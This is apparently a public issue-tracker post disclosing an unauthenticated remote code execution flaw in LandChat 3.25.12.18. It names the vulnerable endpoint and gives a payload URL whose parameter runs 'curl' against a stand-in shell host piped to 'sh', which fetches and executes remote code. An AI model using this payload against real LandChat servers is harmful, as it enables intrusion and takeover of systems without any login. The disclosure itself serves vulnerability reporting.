LandChat 3.25.12.18 has RCE vulnerability #5

Open

opened

on Mar 10, 2025

LandChat has an RCE vulnerability.

No login is required.

/upload/web/utb_res.php

payload:

http://website/web/utb_res.php?c=curl https://your-shell.com/your ip:1234 | sh

Metadata

Assignees

No one assigned

Labels

No labels

No labels

Type

No type

Fields

No fields configured for issues without a type.

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests